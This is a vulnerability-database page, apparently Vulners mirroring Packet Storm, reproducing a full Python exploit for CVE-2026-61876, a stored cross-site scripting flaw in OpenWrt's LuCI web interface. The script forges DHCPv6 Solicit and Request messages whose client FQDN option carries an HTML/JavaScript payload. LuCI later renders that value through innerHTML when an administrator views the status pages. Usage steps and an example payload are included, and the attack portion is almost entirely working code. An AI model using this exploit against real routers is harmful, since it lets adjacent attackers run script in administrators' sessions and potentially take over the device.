Lucene search
+L

πŸ“„ LuCI DHCPv6 Cross Site Scripting

πŸ—“οΈΒ 11 Aug 2026Β 00:00:00Reported byΒ Mohammed Idrees BanyamerTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 13Β Views

Stored XSS in LuCI DHCP6 via odhcpd-rendered hostname using innerHTML in status tables.

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2026-61876
12 Jul 202612:26
–circl
cve
CVE
CVE-2026-61876
12 Jul 202612:07
–cve
cvelist
Cvelist
CVE-2026-61876 LuCI DHCPv6 Lease Hostname Stored Cross-Site Scripting
12 Jul 202612:07
–cvelist
exploitdb
Exploit DB
LuCI DHCPv6 - Lease Hostname Stored Cross-Site Scripting
11 Aug 202600:00
–exploitdb
euvd
EUVD
EUVD-2026-43236
12 Jul 202612:07
–euvd
nvd
NVD
CVE-2026-61876
12 Jul 202612:16
–nvd
ptsecurity
Positive Technologies
PT-2026-57560
12 Jul 202600:00
–ptsecurity
vulnrichment
Vulnrichment
CVE-2026-61876 LuCI DHCPv6 Lease Hostname Stored Cross-Site Scripting
12 Jul 202612:07
–vulnrichment
# Exploit Title:       LuCI DHCPv6 -  Lease Hostname Stored Cross-Site Scripting
    # CVE:                  CVE-2026-61876
    # Date:                 2026-07-13
    # Exploit Author:       Mohammed Idrees Banyamer
    # Author Country:       Jordan
    # Instagram:            @banyamer_security
    # Author GitHub:        https://github.com/mbanyamer
    # Author Blog  :        https://banyamersecurity.com/blog/
    # Vendor Homepage:      https://openwrt.org/
    # Software Link:        https://github.com/openwrt/luci
    # Affected:             OpenWrt LuCI (luci-mod-status, luci-mod-network) before patch
    # Tested on:            OpenWrt 25.12.0-rc1 x86_64
    # Category:             Remote
    # Platform:             Linux
    # Exploit Type:         Stored XSS
    # CVSS:                 8.8
    # Description:          An unauthenticated adjacent-network attacker can inject malicious HTML/JavaScript via DHCPv6 Client FQDN (option 39). The hostname is stored by odhcpd and rendered unsafely via innerHTML in LuCI status tables.
    # Fixed in:             LuCI commit 55379d0 (and backports)
    # Usage:
    #   python3 exploit.py --ifindex <LAN_INTERFACE_INDEX> --hostname '<payload>'
    #
    # Examples:
    #   python3 exploit.py --ifindex 2 --hostname '<details/open/ontoggle=alert("XDHCP6D")>'
    #
    # Options:
    #   --ifindex         Interface index of the LAN interface
    #   --hostname        Malicious hostname/FQDN payload
    #   --server          DHCPv6 server (default: ff02::1:2)
    #   --release         Release the lease after injection
    #
    # Notes:
    #   β€’ Requires adjacent network access (LAN)
    #   β€’ Administrator must view Status > Overview or Network > DHCP and DNS
    #   β€’ Payload example triggers alert(); other XSS payloads work too.
    #
    # How to Use
    #
    # Step 1:
    #   Identify your LAN interface index: ip -o link show | awk '{print $1, $2}'
    #
    # Step 2:
    #   Run the exploit and then open LuCI as admin to trigger the payload.
    
    def banner():
        print(r"""
    β•”β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β•—
    β•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘
    β•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ–ˆβ–ˆβ•”β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•
    β•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘  β•šβ–ˆβ–ˆβ•”β•  β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•  β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—
    β•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β•šβ•β• β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘
    β•šβ•β•β•β•β•β• β•šβ•β•  β•šβ•β•β•šβ•β•  β•šβ•β•β•β•   β•šβ•β•   β•šβ•β•  β•šβ•β•β•šβ•β•     β•šβ•β•β•šβ•β•β•β•β•β•β•β•šβ•β•  β•šβ•β•
            ╔═╗ Banyamer Security ╔═╝
    """)
    
    import argparse
    import os
    import random
    import socket
    import struct
    import time
    
    OPT_CLIENTID = 1
    OPT_SERVERID = 2
    OPT_IA_NA = 3
    OPT_ORO = 6
    OPT_ELAPSED = 8
    OPT_STATUS = 13
    OPT_IAADDR = 5
    OPT_FQDN = 39
    
    def opt(code, data):
        return struct.pack("!HH", code, len(data)) + data
    
    def options(buf):
        i = 0
        while i + 4 <= len(buf):
            code, length = struct.unpack("!HH", buf[i:i + 4])
            i += 4
            yield code, buf[i:i + length]
            i += length
    
    def first_opt(buf, wanted):
        for code, data in options(buf):
            if code == wanted:
                return data
        return None
    
    def encode_domain(name):
        labels = name.rstrip(".").split(".") if name else []
        out = bytearray()
        for label in labels:
            raw = label.encode("utf-8")
            if len(raw) > 63:
                raise ValueError("domain label too long for DHCPv6 FQDN option")
            out.append(len(raw))
            out += raw
        out.append(0)
        return bytes(out)
    
    def make_duid(mac):
        dhcpv6_epoch = 946684800
        now = int(time.time() - dhcpv6_epoch)
        return struct.pack("!HHI", 1, 1, now) + mac
    
    def make_msg(msg_type, txid, opts):
        return bytes([msg_type]) + txid + b"".join(opts)
    
    def parse_msg(data):
        if len(data) < 4:
            return None
        return data[0], data[1:4], data[4:]
    
    def open_sock(ifindex, port, bind_addr):
        s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
        s.settimeout(4)
        try:
            s.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_IF, ifindex)
        except OSError:
            pass
        try:
            s.bind((bind_addr, port, 0, ifindex if bind_addr.startswith("fe80:") else 0))
            return s, port
        except OSError:
            if port != 0:
                s.bind((bind_addr, 0, 0, ifindex if bind_addr.startswith("fe80:") else 0))
                return s, s.getsockname()[1]
            raise
    
    def send_recv(sock, dst, msg, txid, expect_types):
        sock.sendto(msg, dst)
        deadline = time.time() + 5
        while time.time() < deadline:
            try:
                data, addr = sock.recvfrom(4096)
            except socket.timeout:
                break
            parsed = parse_msg(data)
            if not parsed:
                continue
            msg_type, rxid, opts = parsed
            if rxid == txid and msg_type in expect_types:
                return msg_type, opts, addr, data
        return None
    
    def status_text(ia_na):
        if not ia_na:
            return ""
        for code, data in options(ia_na[12:]):
            if code == OPT_STATUS and len(data) >= 2:
                status = struct.unpack("!H", data[:2])[0]
                text = data[2:].decode("utf-8", "replace")
                return f"status={status} {text}".strip()
        return ""
    
    def main():
        banner()
        ap = argparse.ArgumentParser(description="LuCI DHCPv6 FQDN XSS Exploit (CVE-2026-61876)")
        ap.add_argument("--ifindex", type=int, required=True)
        ap.add_argument("--hostname", required=True)
        ap.add_argument("--server", default="ff02::1:2")
        ap.add_argument("--bind-addr", default="::")
        ap.add_argument("--port", type=int, default=546)
        ap.add_argument("--release", action="store_true")
        ap.add_argument("--duid-hex")
        ap.add_argument("--iaid-hex")
        args = ap.parse_args()
    
        if args.duid_hex:
            duid = bytes.fromhex(args.duid_hex)
            mac = duid[-6:] if len(duid) >= 14 else b"\x00" * 6
        else:
            mac = bytes([0x02, 0x00, 0x5e, random.randrange(256), random.randrange(256), random.randrange(256)])
            duid = make_duid(mac)
    
        iaid = bytes.fromhex(args.iaid_hex) if args.iaid_hex else os.urandom(4)
        fqdn = bytes([0]) + encode_domain(args.hostname)
        oro = struct.pack("!HHH", 23, 24, OPT_FQDN)
    
        sock, sport = open_sock(args.ifindex, args.port, args.bind_addr)
        dst = (args.server, 547, 0, args.ifindex if args.server.startswith("ff") or args.server.startswith("fe80:") else 0)
    
        txid = os.urandom(3)
        solicit = make_msg(1, txid, [
            opt(OPT_CLIENTID, duid),
            opt(OPT_IA_NA, iaid + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00"),
            opt(OPT_ORO, oro),
            opt(OPT_ELAPSED, b"\x00\x00"),
            opt(OPT_FQDN, fqdn),
        ])
        adv = send_recv(sock, dst, solicit, txid, {2})
        if not adv:
            print(f"NO_ADVERTISE source_port={sport}")
            return 2
    
        _, adv_opts, addr, _ = adv
        serverid = first_opt(adv_opts, OPT_SERVERID)
        ia_na = first_opt(adv_opts, OPT_IA_NA)
        print(f"ADVERTISE from={addr[0]} source_port={sport}")
    
        if not serverid or not ia_na:
            return 3
    
        txid = os.urandom(3)
        request = make_msg(3, txid, [
            opt(OPT_CLIENTID, duid),
            opt(OPT_SERVERID, serverid),
            opt(OPT_IA_NA, ia_na),
            opt(OPT_ORO, oro),
            opt(OPT_ELAPSED, b"\x00\x00"),
            opt(OPT_FQDN, fqdn),
        ])
        rep = send_recv(sock, dst, request, txid, {7})
        if not rep:
            print("NO_REPLY")
            return 4
    
        _, reply_opts, addr, _ = rep
        print(f"REPLY from={addr[0]}")
    
        if args.release:
            txid = os.urandom(3)
            release = make_msg(8, txid, [
                opt(OPT_CLIENTID, duid),
                opt(OPT_SERVERID, serverid),
                opt(OPT_IA_NA, ia_na),
            ])
            rel = send_recv(sock, dst, release, txid, {7})
            print("RELEASE_REPLY" if rel else "NO_RELEASE_REPLY")
    
        print(f"DUID={duid.hex()} IAID={iaid.hex()}")
        return 0
    
    if __name__ == "__main__":
        raise SystemExit(main())

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Aug 2026 00:00Current
4.7Medium risk
Vulners AI Score4.7
CVSS 3.18.8
CVSS 49.4
EPSS0.00851
SSVC
13